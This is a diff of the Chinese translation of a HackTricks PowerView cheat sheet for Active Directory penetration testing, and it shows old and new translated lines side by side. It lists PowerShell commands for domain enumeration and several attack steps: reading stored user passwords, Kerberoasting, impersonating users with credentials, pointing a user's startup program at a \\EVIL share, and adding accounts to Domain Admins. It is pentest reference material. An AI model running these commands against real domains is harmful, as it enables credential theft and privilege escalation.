* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
PowerView的最新版本始终位于PowerSploit的dev分支中:[https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
PowerView 的最新版本将始终在 PowerSploit 的开发分支中:[https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView)是[**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)的.NET移植版
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) 是 [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) 的 .NET 移植版
|
||||
|
||||
### 快速枚举
|
||||
```powershell
|
||||
|
@ -151,8 +154,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
|
|||
```
|
||||
### 组策略对象 - GPOs
|
||||
|
||||
如果攻击者对 GPO 拥有高权限,他可能能够利用它来提升权限,方法包括向用户添加权限,在主机上添加本地管理员用户,或创建一个立即执行的计划任务来执行操作。\
|
||||
有关更多信息以及如何滥用它,请参阅[此链接](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)。
|
||||
如果攻击者对一个 GPO 拥有 **高权限**,他可能能够通过 **为用户添加权限**、**向主机添加本地管理员用户** 或 **创建一个计划任务**(立即)来执行某个操作,从而 **提权**。\
|
||||
有关更多信息以及如何滥用它,请 [**点击此链接**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)。
|
||||
```powershell
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
|
@ -186,7 +189,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
|
|||
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
|
||||
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
|
||||
```
|
||||
学习如何在以下内容中**利用GPO和ACL权限**:
|
||||
学习如何 **利用 GPO 和 ACL 的权限** 在:
|
||||
|
||||
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
|
||||
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
|
||||
|
@ -236,7 +239,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
|||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### 低**悬挂的果实**
|
||||
### 低垂的果实
|
||||
```powershell
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
@ -274,25 +277,23 @@ Invoke-UserHunter -GroupName "RDPUsers"
|
|||
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)
|
||||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
### 已删除的对象
|
||||
### 删除的对象
|
||||
```powershell
|
||||
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
|
||||
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
```
|
||||
### 其他
|
||||
### MISC
|
||||
|
||||
#### SID转换为名称
|
||||
#### SID 转换为名称
|
||||
```powershell
|
||||
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
|
||||
```
|
||||
#### Kerberoast
|
||||
|
||||
Kerberoast是一种攻击技术,用于获取域中的服务账户的凭据哈希。
|
||||
```powershell
|
||||
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
|
||||
```
|
||||
#### 使用不同凭据(参数)
|
||||
#### 使用不同的凭据(参数)
|
||||
```powershell
|
||||
# use an alterate creadential for any function
|
||||
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
|
||||
|
@ -308,7 +309,7 @@ Invoke-UserImpersonation -Credential $Cred
|
|||
# ... action
|
||||
Invoke-RevertToSelf
|
||||
```
|
||||
#### 设置数值
|
||||
#### 设置值
|
||||
```powershell
|
||||
# set the specified property for the given user identity
|
||||
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
||||
|
@ -323,14 +324,17 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或者 [**电报群**](https://t.me/peass) 或者在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue